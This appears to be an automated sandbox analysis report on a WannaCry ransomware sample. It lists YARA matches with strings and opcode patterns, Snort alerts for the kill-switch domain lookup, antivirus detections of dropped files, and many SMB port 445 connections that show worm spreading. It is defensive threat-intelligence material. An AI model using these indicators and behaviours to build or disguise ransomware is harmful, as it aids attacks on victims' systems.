5.0.mssecsvr.exe.400000.2.unpack	WannaCry_Ransomware_Gen	Detects WannaCry Ransomware	Florian Roth (based on rule by US CERT)	0x1bacc:$s1: __TREEID__PLACEHOLDER__ 0x1bb68:$s1: __TREEID__PLACEHOLDER__ 0x1c3d4:$s1: __TREEID__PLACEHOLDER__ 0x1d439:$s1: __TREEID__PLACEHOLDER__ 0x1e4a0:$s1: __TREEID__PLACEHOLDER__ 0x1f508:$s1: __TREEID__PLACEHOLDER__ 0x20570:$s1: __TREEID__PLACEHOLDER__ 0x215d8:$s1: __TREEID__PLACEHOLDER__ 0x22640:$s1: __TREEID__PLACEHOLDER__ 0x236a8:$s1: __TREEID__PLACEHOLDER__ 0x24710:$s1: __TREEID__PLACEHOLDER__ 0x25778:$s1: __TREEID__PLACEHOLDER__ 0x267e0:$s1: __TREEID__PLACEHOLDER__ 0x27848:$s1: __TREEID__PLACEHOLDER__ 0x288b0:$s1: __TREEID__PLACEHOLDER__ 0x29918:$s1: __TREEID__PLACEHOLDER__ 0x2a980:$s1: __TREEID__PLACEHOLDER__ 0x2ab94:$s1: __TREEID__PLACEHOLDER__ 0x2abf4:$s1: __TREEID__PLACEHOLDER__ 0x2e2c4:$s1: __TREEID__PLACEHOLDER__ 0x2e340:$s1: __TREEID__PLACEHOLDER__
5.0.mssecsvr.exe.400000.2.unpack	JoeSecurity_Wannacry	Yara detected Wannacry ransomware	Joe Security
7.0.mssecsvr.exe.400000.0.unpack	WannaCry_Ransomware	Detects WannaCry Ransomware	Florian Roth (with the help of binar.ly)	0x3136c:$x3: tasksche.exe 0x31344:$x8: C:\%s\qeriuwjhrf 0x17338:$s1: C:\%s\%s 0x31358:$s1: C:\%s\%s 0x2e68c:$s5: \\192.168.56.20\IPC$ 0x1ba81:$s6: \\172.16.99.5\IPC$ 0x9131:$op1: 10 AC 72 0D 3D FF FF 1F AC 77 06 B8 01 00 00 00 0x3876:$op2: 44 24 64 8A C6 44 24 65 0E C6 44 24 66 80 C6 44 0x13e5:$op3: 18 DF 6C 24 14 DC 64 24 2C DC 6C 24 5C DC 15 88
7.0.mssecsvr.exe.400000.0.unpack	WannaCry_Ransomware_Gen	Detects WannaCry Ransomware	Florian Roth (based on rule by US CERT)	0x1bacc:$s1: __TREEID__PLACEHOLDER__ 0x1bb68:$s1: __TREEID__PLACEHOLDER__ 0x1c3d4:$s1: __TREEID__PLACEHOLDER__ 0x1d439:$s1: __TREEID__PLACEHOLDER__ 0x1e4a0:$s1: __TREEID__PLACEHOLDER__ 0x1f508:$s1: __TREEID__PLACEHOLDER__ 0x20570:$s1: __TREEID__PLACEHOLDER__ 0x215d8:$s1: __TREEID__PLACEHOLDER__ 0x22640:$s1: __TREEID__PLACEHOLDER__ 0x236a8:$s1: __TREEID__PLACEHOLDER__ 0x24710:$s1: __TREEID__PLACEHOLDER__ 0x25778:$s1: __TREEID__PLACEHOLDER__ 0x267e0:$s1: __TREEID__PLACEHOLDER__ 0x27848:$s1: __TREEID__PLACEHOLDER__ 0x288b0:$s1: __TREEID__PLACEHOLDER__ 0x29918:$s1: __TREEID__PLACEHOLDER__ 0x2a980:$s1: __TREEID__PLACEHOLDER__ 0x2ab94:$s1: __TREEID__PLACEHOLDER__ 0x2abf4:$s1: __TREEID__PLACEHOLDER__ 0x2e2c4:$s1: __TREEID__PLACEHOLDER__ 0x2e340:$s1: __TREEID__PLACEHOLDER__
7.0.mssecsvr.exe.400000.0.unpack	JoeSecurity_Wannacry	Yara detected Wannacry ransomware	Joe Security
5.0.mssecsvr.exe.400000.0.unpack	WannaCry_Ransomware	Detects WannaCry Ransomware	Florian Roth (with the help of binar.ly)	0x3136c:$x3: tasksche.exe 0x31344:$x8: C:\%s\qeriuwjhrf 0x17338:$s1: C:\%s\%s 0x31358:$s1: C:\%s\%s 0x2e68c:$s5: \\192.168.56.20\IPC$ 0x1ba81:$s6: \\172.16.99.5\IPC$ 0x9131:$op1: 10 AC 72 0D 3D FF FF 1F AC 77 06 B8 01 00 00 00 0x3876:$op2: 44 24 64 8A C6 44 24 65 0E C6 44 24 66 80 C6 44 0x13e5:$op3: 18 DF 6C 24 14 DC 64 24 2C DC 6C 24 5C DC 15 88
5.0.mssecsvr.exe.400000.0.unpack	WannaCry_Ransomware_Gen	Detects WannaCry Ransomware	Florian Roth (based on rule by US CERT)	0x1bacc:$s1: __TREEID__PLACEHOLDER__ 0x1bb68:$s1: __TREEID__PLACEHOLDER__ 0x1c3d4:$s1: __TREEID__PLACEHOLDER__ 0x1d439:$s1: __TREEID__PLACEHOLDER__ 0x1e4a0:$s1: __TREEID__PLACEHOLDER__ 0x1f508:$s1: __TREEID__PLACEHOLDER__ 0x20570:$s1: __TREEID__PLACEHOLDER__ 0x215d8:$s1: __TREEID__PLACEHOLDER__ 0x22640:$s1: __TREEID__PLACEHOLDER__ 0x236a8:$s1: __TREEID__PLACEHOLDER__ 0x24710:$s1: __TREEID__PLACEHOLDER__ 0x25778:$s1: __TREEID__PLACEHOLDER__ 0x267e0:$s1: __TREEID__PLACEHOLDER__ 0x27848:$s1: __TREEID__PLACEHOLDER__ 0x288b0:$s1: __TREEID__PLACEHOLDER__ 0x29918:$s1: __TREEID__PLACEHOLDER__ 0x2a980:$s1: __TREEID__PLACEHOLDER__ 0x2ab94:$s1: __TREEID__PLACEHOLDER__ 0x2abf4:$s1: __TREEID__PLACEHOLDER__ 0x2e2c4:$s1: __TREEID__PLACEHOLDER__ 0x2e340:$s1: __TREEID__PLACEHOLDER__
5.0.mssecsvr.exe.400000.0.unpack	JoeSecurity_Wannacry	Yara detected Wannacry ransomware	Joe Security
8.2.mssecsvr.exe.1e99104.5.unpack	WannaCry_Ransomware	Detects WannaCry Ransomware	Florian Roth (with the help of binar.ly)	0x1daec:$x3: tasksche.exe 0x1dac4:$x8: C:\%s\qeriuwjhrf 0x76b8:$s1: C:\%s\%s 0x1dad8:$s1: C:\%s\%s 0x1ae0c:$s5: \\192.168.56.20\IPC$ 0xb601:$s6: \\172.16.99.5\IPC$
8.2.mssecsvr.exe.1e99104.5.unpack	JoeSecurity_Wannacry	Yara detected Wannacry ransomware	Joe Security
7.2.mssecsvr.exe.400000.0.unpack	WannaCry_Ransomware	Detects WannaCry Ransomware	Florian Roth (with the help of binar.ly)	0x3136c:$x3: tasksche.exe 0x31344:$x8: C:\%s\qeriuwjhrf 0x17338:$s1: C:\%s\%s 0x31358:$s1: C:\%s\%s 0x2e68c:$s5: \\192.168.56.20\IPC$ 0x1ba81:$s6: \\172.16.99.5\IPC$ 0x9131:$op1: 10 AC 72 0D 3D FF FF 1F AC 77 06 B8 01 00 00 00 0x3876:$op2: 44 24 64 8A C6 44 24 65 0E C6 44 24 66 80 C6 44 0x13e5:$op3: 18 DF 6C 24 14 DC 64 24 2C DC 6C 24 5C DC 15 88
7.2.mssecsvr.exe.400000.0.unpack	WannaCry_Ransomware_Gen	Detects WannaCry Ransomware	Florian Roth (based on rule by US CERT)	0x1bacc:$s1: __TREEID__PLACEHOLDER__ 0x1bb68:$s1: __TREEID__PLACEHOLDER__ 0x1c3d4:$s1: __TREEID__PLACEHOLDER__ 0x1d439:$s1: __TREEID__PLACEHOLDER__ 0x1e4a0:$s1: __TREEID__PLACEHOLDER__ 0x1f508:$s1: __TREEID__PLACEHOLDER__ 0x20570:$s1: __TREEID__PLACEHOLDER__ 0x215d8:$s1: __TREEID__PLACEHOLDER__ 0x22640:$s1: __TREEID__PLACEHOLDER__ 0x236a8:$s1: __TREEID__PLACEHOLDER__ 0x24710:$s1: __TREEID__PLACEHOLDER__ 0x25778:$s1: __TREEID__PLACEHOLDER__ 0x267e0:$s1: __TREEID__PLACEHOLDER__ 0x27848:$s1: __TREEID__PLACEHOLDER__ 0x288b0:$s1: __TREEID__PLACEHOLDER__ 0x29918:$s1: __TREEID__PLACEHOLDER__ 0x2a980:$s1: __TREEID__PLACEHOLDER__ 0x2ab94:$s1: __TREEID__PLACEHOLDER__ 0x2abf4:$s1: __TREEID__PLACEHOLDER__ 0x2e2c4:$s1: __TREEID__PLACEHOLDER__ 0x2e340:$s1: __TREEID__PLACEHOLDER__
7.2.mssecsvr.exe.400000.0.unpack	JoeSecurity_Wannacry	Yara detected Wannacry ransomware	Joe Security
8.2.mssecsvr.exe.1e950a4.3.unpack	WannaCry_Ransomware	Detects WannaCry Ransomware	Florian Roth (with the help of binar.ly)	0x2634c:$x3: tasksche.exe 0x26324:$x8: C:\%s\qeriuwjhrf 0xc318:$s1: C:\%s\%s 0x26338:$s1: C:\%s\%s 0x2366c:$s5: \\192.168.56.20\IPC$ 0x10a61:$s6: \\172.16.99.5\IPC$
8.2.mssecsvr.exe.1e950a4.3.unpack	JoeSecurity_Wannacry	Yara detected Wannacry ransomware	Joe Security
5.0.mssecsvr.exe.400000.6.unpack	WannaCry_Ransomware	Detects WannaCry Ransomware	Florian Roth (with the help of binar.ly)	0x3136c:$x3: tasksche.exe 0x31344:$x8: C:\%s\qeriuwjhrf 0x17338:$s1: C:\%s\%s 0x31358:$s1: C:\%s\%s 0x2e68c:$s5: \\192.168.56.20\IPC$ 0x1ba81:$s6: \\172.16.99.5\IPC$ 0x9131:$op1: 10 AC 72 0D 3D FF FF 1F AC 77 06 B8 01 00 00 00 0x3876:$op2: 44 24 64 8A C6 44 24 65 0E C6 44 24 66 80 C6 44 0x13e5:$op3: 18 DF 6C 24 14 DC 64 24 2C DC 6C 24 5C DC 15 88
5.0.mssecsvr.exe.400000.6.unpack	WannaCry_Ransomware_Gen	Detects WannaCry Ransomware	Florian Roth (based on rule by US CERT)	0x1bacc:$s1: __TREEID__PLACEHOLDER__ 0x1bb68:$s1: __TREEID__PLACEHOLDER__ 0x1c3d4:$s1: __TREEID__PLACEHOLDER__ 0x1d439:$s1: __TREEID__PLACEHOLDER__ 0x1e4a0:$s1: __TREEID__PLACEHOLDER__ 0x1f508:$s1: __TREEID__PLACEHOLDER__ 0x20570:$s1: __TREEID__PLACEHOLDER__ 0x215d8:$s1: __TREEID__PLACEHOLDER__ 0x22640:$s1: __TREEID__PLACEHOLDER__ 0x236a8:$s1: __TREEID__PLACEHOLDER__ 0x24710:$s1: __TREEID__PLACEHOLDER__ 0x25778:$s1: __TREEID__PLACEHOLDER__ 0x267e0:$s1: __TREEID__PLACEHOLDER__ 0x27848:$s1: __TREEID__PLACEHOLDER__ 0x288b0:$s1: __TREEID__PLACEHOLDER__ 0x29918:$s1: __TREEID__PLACEHOLDER__ 0x2a980:$s1: __TREEID__PLACEHOLDER__ 0x2ab94:$s1: __TREEID__PLACEHOLDER__ 0x2abf4:$s1: __TREEID__PLACEHOLDER__ 0x2e2c4:$s1: __TREEID__PLACEHOLDER__ 0x2e340:$s1: __TREEID__PLACEHOLDER__
5.0.mssecsvr.exe.400000.6.unpack	JoeSecurity_Wannacry	Yara detected Wannacry ransomware	Joe Security
7.0.mssecsvr.exe.400000.2.unpack	WannaCry_Ransomware	Detects WannaCry Ransomware	Florian Roth (with the help of binar.ly)	0x3136c:$x3: tasksche.exe 0x31344:$x8: C:\%s\qeriuwjhrf 0x17338:$s1: C:\%s\%s 0x31358:$s1: C:\%s\%s 0x2e68c:$s5: \\192.168.56.20\IPC$ 0x1ba81:$s6: \\172.16.99.5\IPC$ 0x9131:$op1: 10 AC 72 0D 3D FF FF 1F AC 77 06 B8 01 00 00 00 0x3876:$op2: 44 24 64 8A C6 44 24 65 0E C6 44 24 66 80 C6 44 0x13e5:$op3: 18 DF 6C 24 14 DC 64 24 2C DC 6C 24 5C DC 15 88
7.0.mssecsvr.exe.400000.2.unpack	WannaCry_Ransomware_Gen	Detects WannaCry Ransomware	Florian Roth (based on rule by US CERT)	0x1bacc:$s1: __TREEID__PLACEHOLDER__ 0x1bb68:$s1: __TREEID__PLACEHOLDER__ 0x1c3d4:$s1: __TREEID__PLACEHOLDER__ 0x1d439:$s1: __TREEID__PLACEHOLDER__ 0x1e4a0:$s1: __TREEID__PLACEHOLDER__ 0x1f508:$s1: __TREEID__PLACEHOLDER__ 0x20570:$s1: __TREEID__PLACEHOLDER__ 0x215d8:$s1: __TREEID__PLACEHOLDER__ 0x22640:$s1: __TREEID__PLACEHOLDER__ 0x236a8:$s1: __TREEID__PLACEHOLDER__ 0x24710:$s1: __TREEID__PLACEHOLDER__ 0x25778:$s1: __TREEID__PLACEHOLDER__ 0x267e0:$s1: __TREEID__PLACEHOLDER__ 0x27848:$s1: __TREEID__PLACEHOLDER__ 0x288b0:$s1: __TREEID__PLACEHOLDER__ 0x29918:$s1: __TREEID__PLACEHOLDER__ 0x2a980:$s1: __TREEID__PLACEHOLDER__ 0x2ab94:$s1: __TREEID__PLACEHOLDER__ 0x2abf4:$s1: __TREEID__PLACEHOLDER__ 0x2e2c4:$s1: __TREEID__PLACEHOLDER__ 0x2e340:$s1: __TREEID__PLACEHOLDER__
7.0.mssecsvr.exe.400000.2.unpack	JoeSecurity_Wannacry	Yara detected Wannacry ransomware	Joe Security
5.2.mssecsvr.exe.400000.0.unpack	WannaCry_Ransomware	Detects WannaCry Ransomware	Florian Roth (with the help of binar.ly)	0x3136c:$x3: tasksche.exe 0x31344:$x8: C:\%s\qeriuwjhrf 0x17338:$s1: C:\%s\%s 0x31358:$s1: C:\%s\%s 0x2e68c:$s5: \\192.168.56.20\IPC$ 0x1ba81:$s6: \\172.16.99.5\IPC$ 0x9131:$op1: 10 AC 72 0D 3D FF FF 1F AC 77 06 B8 01 00 00 00 0x3876:$op2: 44 24 64 8A C6 44 24 65 0E C6 44 24 66 80 C6 44 0x13e5:$op3: 18 DF 6C 24 14 DC 64 24 2C DC 6C 24 5C DC 15 88
5.2.mssecsvr.exe.400000.0.unpack	WannaCry_Ransomware_Gen	Detects WannaCry Ransomware	Florian Roth (based on rule by US CERT)	0x1bacc:$s1: __TREEID__PLACEHOLDER__ 0x1bb68:$s1: __TREEID__PLACEHOLDER__ 0x1c3d4:$s1: __TREEID__PLACEHOLDER__ 0x1d439:$s1: __TREEID__PLACEHOLDER__ 0x1e4a0:$s1: __TREEID__PLACEHOLDER__ 0x1f508:$s1: __TREEID__PLACEHOLDER__ 0x20570:$s1: __TREEID__PLACEHOLDER__ 0x215d8:$s1: __TREEID__PLACEHOLDER__ 0x22640:$s1: __TREEID__PLACEHOLDER__ 0x236a8:$s1: __TREEID__PLACEHOLDER__ 0x24710:$s1: __TREEID__PLACEHOLDER__ 0x25778:$s1: __TREEID__PLACEHOLDER__ 0x267e0:$s1: __TREEID__PLACEHOLDER__ 0x27848:$s1: __TREEID__PLACEHOLDER__ 0x288b0:$s1: __TREEID__PLACEHOLDER__ 0x29918:$s1: __TREEID__PLACEHOLDER__ 0x2a980:$s1: __TREEID__PLACEHOLDER__ 0x2ab94:$s1: __TREEID__PLACEHOLDER__ 0x2abf4:$s1: __TREEID__PLACEHOLDER__ 0x2e2c4:$s1: __TREEID__PLACEHOLDER__ 0x2e340:$s1: __TREEID__PLACEHOLDER__
5.2.mssecsvr.exe.400000.0.unpack	JoeSecurity_Wannacry	Yara detected Wannacry ransomware	Joe Security
5.0.mssecsvr.exe.400000.4.unpack	WannaCry_Ransomware	Detects WannaCry Ransomware	Florian Roth (with the help of binar.ly)	0x3136c:$x3: tasksche.exe 0x31344:$x8: C:\%s\qeriuwjhrf 0x17338:$s1: C:\%s\%s 0x31358:$s1: C:\%s\%s 0x2e68c:$s5: \\192.168.56.20\IPC$ 0x1ba81:$s6: \\172.16.99.5\IPC$ 0x9131:$op1: 10 AC 72 0D 3D FF FF 1F AC 77 06 B8 01 00 00 00 0x3876:$op2: 44 24 64 8A C6 44 24 65 0E C6 44 24 66 80 C6 44 0x13e5:$op3: 18 DF 6C 24 14 DC 64 24 2C DC 6C 24 5C DC 15 88
5.0.mssecsvr.exe.400000.4.unpack	WannaCry_Ransomware_Gen	Detects WannaCry Ransomware	Florian Roth (based on rule by US CERT)	0x1bacc:$s1: __TREEID__PLACEHOLDER__ 0x1bb68:$s1: __TREEID__PLACEHOLDER__ 0x1c3d4:$s1: __TREEID__PLACEHOLDER__ 0x1d439:$s1: __TREEID__PLACEHOLDER__ 0x1e4a0:$s1: __TREEID__PLACEHOLDER__ 0x1f508:$s1: __TREEID__PLACEHOLDER__ 0x20570:$s1: __TREEID__PLACEHOLDER__ 0x215d8:$s1: __TREEID__PLACEHOLDER__ 0x22640:$s1: __TREEID__PLACEHOLDER__ 0x236a8:$s1: __TREEID__PLACEHOLDER__ 0x24710:$s1: __TREEID__PLACEHOLDER__ 0x25778:$s1: __TREEID__PLACEHOLDER__ 0x267e0:$s1: __TREEID__PLACEHOLDER__ 0x27848:$s1: __TREEID__PLACEHOLDER__ 0x288b0:$s1: __TREEID__PLACEHOLDER__ 0x29918:$s1: __TREEID__PLACEHOLDER__ 0x2a980:$s1: __TREEID__PLACEHOLDER__ 0x2ab94:$s1: __TREEID__PLACEHOLDER__ 0x2abf4:$s1: __TREEID__PLACEHOLDER__ 0x2e2c4:$s1: __TREEID__PLACEHOLDER__ 0x2e340:$s1: __TREEID__PLACEHOLDER__
5.0.mssecsvr.exe.400000.4.unpack	JoeSecurity_Wannacry	Yara detected Wannacry ransomware	Joe Security
8.2.mssecsvr.exe.23c08e8.6.unpack	WannaCry_Ransomware	Detects WannaCry Ransomware	Florian Roth (with the help of binar.ly)	0x2634c:$x3: tasksche.exe 0x26324:$x8: C:\%s\qeriuwjhrf 0xc318:$s1: C:\%s\%s 0x26338:$s1: C:\%s\%s 0x2366c:$s5: \\192.168.56.20\IPC$ 0x10a61:$s6: \\172.16.99.5\IPC$
8.2.mssecsvr.exe.23c08e8.6.unpack	JoeSecurity_Wannacry	Yara detected Wannacry ransomware	Joe Security
8.2.mssecsvr.exe.23c4948.8.unpack	WannaCry_Ransomware	Detects WannaCry Ransomware	Florian Roth (with the help of binar.ly)	0x1daec:$x3: tasksche.exe 0x1dac4:$x8: C:\%s\qeriuwjhrf 0x76b8:$s1: C:\%s\%s 0x1dad8:$s1: C:\%s\%s 0x1ae0c:$s5: \\192.168.56.20\IPC$ 0xb601:$s6: \\172.16.99.5\IPC$
8.2.mssecsvr.exe.23c4948.8.unpack	JoeSecurity_Wannacry	Yara detected Wannacry ransomware	Joe Security
Click to see the 53 entries

Snort Signatures

ETPRO TROJAN Observed WannaCry Domain (iuqerfsodp9ifjaposdfjhgosurijfaewrwergwff .com in DNS Lookup) - Source IP: 192.168.2.6 - Destination IP: 8.8.8.8

Timestamp:	192.168.2.68.8.8.863229532830018 12/22/22-10:03:15.700788
SID:	2830018
Source Port:	63229
Destination Port:	53
Protocol:	UDP
Classtype:	A Network Trojan was detected

ETPRO TROJAN Observed WannaCry Domain (iuqerfsodp9ifjaposdfjhgosurijfaewrwergwff .com in DNS Lookup) - Source IP: 192.168.2.6 - Destination IP: 8.8.8.8

Timestamp:	192.168.2.68.8.8.862910532830018 12/22/22-10:03:15.117161
SID:	2830018
Source Port:	62910
Destination Port:	53
Protocol:	UDP
Classtype:	A Network Trojan was detected

ETPRO TROJAN Observed WannaCry Domain (iuqerfsodp9ifjaposdfjhgosurijfaewrwergwff .com in DNS Lookup) - Source IP: 192.168.2.6 - Destination IP: 8.8.8.8

Timestamp:	192.168.2.68.8.8.859082532830018 12/22/22-10:03:13.716060
SID:	2830018
Source Port:	59082
Destination Port:	53
Protocol:	UDP
Classtype:	A Network Trojan was detected

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: http://www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwff.com	URL Reputation: Label: malware
Source: http://www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwff.com/	URL Reputation: Label: malware
Source: http://ww38.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwff.com/	Avira URL Cloud: Label: malware

Antivirus detection for dropped file

Source: C:\Windows\mssecsvr.exe	Avira: detection malicious, Label: TR/Rasftuby.cpsmo
Source: C:\Windows\tasksche.exe	Avira: detection malicious, Label: TR/Rasftuby.cpsmo

Multi AV Scanner detection for submitted file

Source: IU28r0EZFA.dll	ReversingLabs: Detection: 90%
Source: IU28r0EZFA.dll	Virustotal: Detection: 86%			Perma Link

Antivirus / Scanner detection for submitted sample

Source: IU28r0EZFA.dll

Avira: detected

Multi AV Scanner detection for dropped file

Source: C:\WINDOWS\qeriuwjhrf (copy)	ReversingLabs: Detection: 78%
Source: C:\Windows\eee.exe	ReversingLabs: Detection: 12%
Source: C:\Windows\mssecsvr.exe	ReversingLabs: Detection: 100%
Source: C:\Windows\tasksche.exe	ReversingLabs: Detection: 78%

Machine Learning detection for sample

Source: IU28r0EZFA.dll

Joe Sandbox ML: detected

Machine Learning detection for dropped file

Source: C:\Windows\mssecsvr.exe	Joe Sandbox ML: detected
Source: C:\Windows\eee.exe	Joe Sandbox ML: detected

Source: 8.2.mssecsvr.exe.400000.0.unpack	Avira: Label: TR/Rasftuby.cpsmo
Source: 5.0.mssecsvr.exe.400000.2.unpack	Avira: Label: TR/Rasftuby.cpsmo
Source: 7.0.mssecsvr.exe.400000.6.unpack	Avira: Label: TR/Rasftuby.cpsmo
Source: 8.0.mssecsvr.exe.400000.0.unpack	Avira: Label: TR/Rasftuby.cpsmo
Source: 7.0.mssecsvr.exe.400000.4.unpack	Avira: Label: TR/Rasftuby.cpsmo
Source: 7.0.mssecsvr.exe.400000.0.unpack	Avira: Label: TR/Rasftuby.cpsmo
Source: 5.0.mssecsvr.exe.400000.0.unpack	Avira: Label: TR/Rasftuby.cpsmo
Source: 8.2.mssecsvr.exe.1e8a084.2.unpack	Avira: Label: TR/Ransom.Gen
Source: 7.2.mssecsvr.exe.400000.0.unpack	Avira: Label: TR/Rasftuby.cpsmo
Source: 8.2.mssecsvr.exe.23b58c8.7.unpack	Avira: Label: TR/Ransom.Gen
Source: 5.0.mssecsvr.exe.400000.6.unpack	Avira: Label: TR/Rasftuby.cpsmo
Source: 7.0.mssecsvr.exe.400000.2.unpack	Avira: Label: TR/Rasftuby.cpsmo
Source: 5.0.mssecsvr.exe.400000.4.unpack	Avira: Label: TR/Rasftuby.cpsmo
Source: 5.2.mssecsvr.exe.400000.0.unpack	Avira: Label: TR/Rasftuby.cpsmo

Exploits

Connects to many different private IPs (likely to spread or exploit)

Source: global traffic	TCP traffic: 192.168.2.39:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.38:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.42:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.41:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.44:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.43:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.46:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.45:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.48:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.47:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.40:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.28:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.27:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.29:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.31:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.30:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.33:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.32:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.35:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.34:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.37:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.36:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.17:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.16:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.19:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.18:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.20:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.22:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.21:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.24:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.23:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.26:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.25:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.97:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.96:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.11:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.99:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.10:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.98:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.13:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.12:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.15:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.14:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.91:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.90:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.93:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.92:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.95:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.94:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.2:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.1:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.8:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.7:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.9:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.4:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.3:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.6:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.5:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.86:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.104:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.85:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.105:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.88:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.102:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.87:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.103:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.108:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.89:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.109:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.106:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.107:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.80:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.82:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.100:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.81:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.101:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.84:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.83:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.75:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.115:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.74:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.116:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.77:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.113:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.76:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.114:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.79:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.119:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.78:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.117:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.118:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.71:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.111:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.70:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.112:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.73:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.72:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.110:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.64:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.63:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.66:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.65:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.68:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.67:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.69:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.60:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.62:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.61:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.49:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.53:445	Jump to behavior
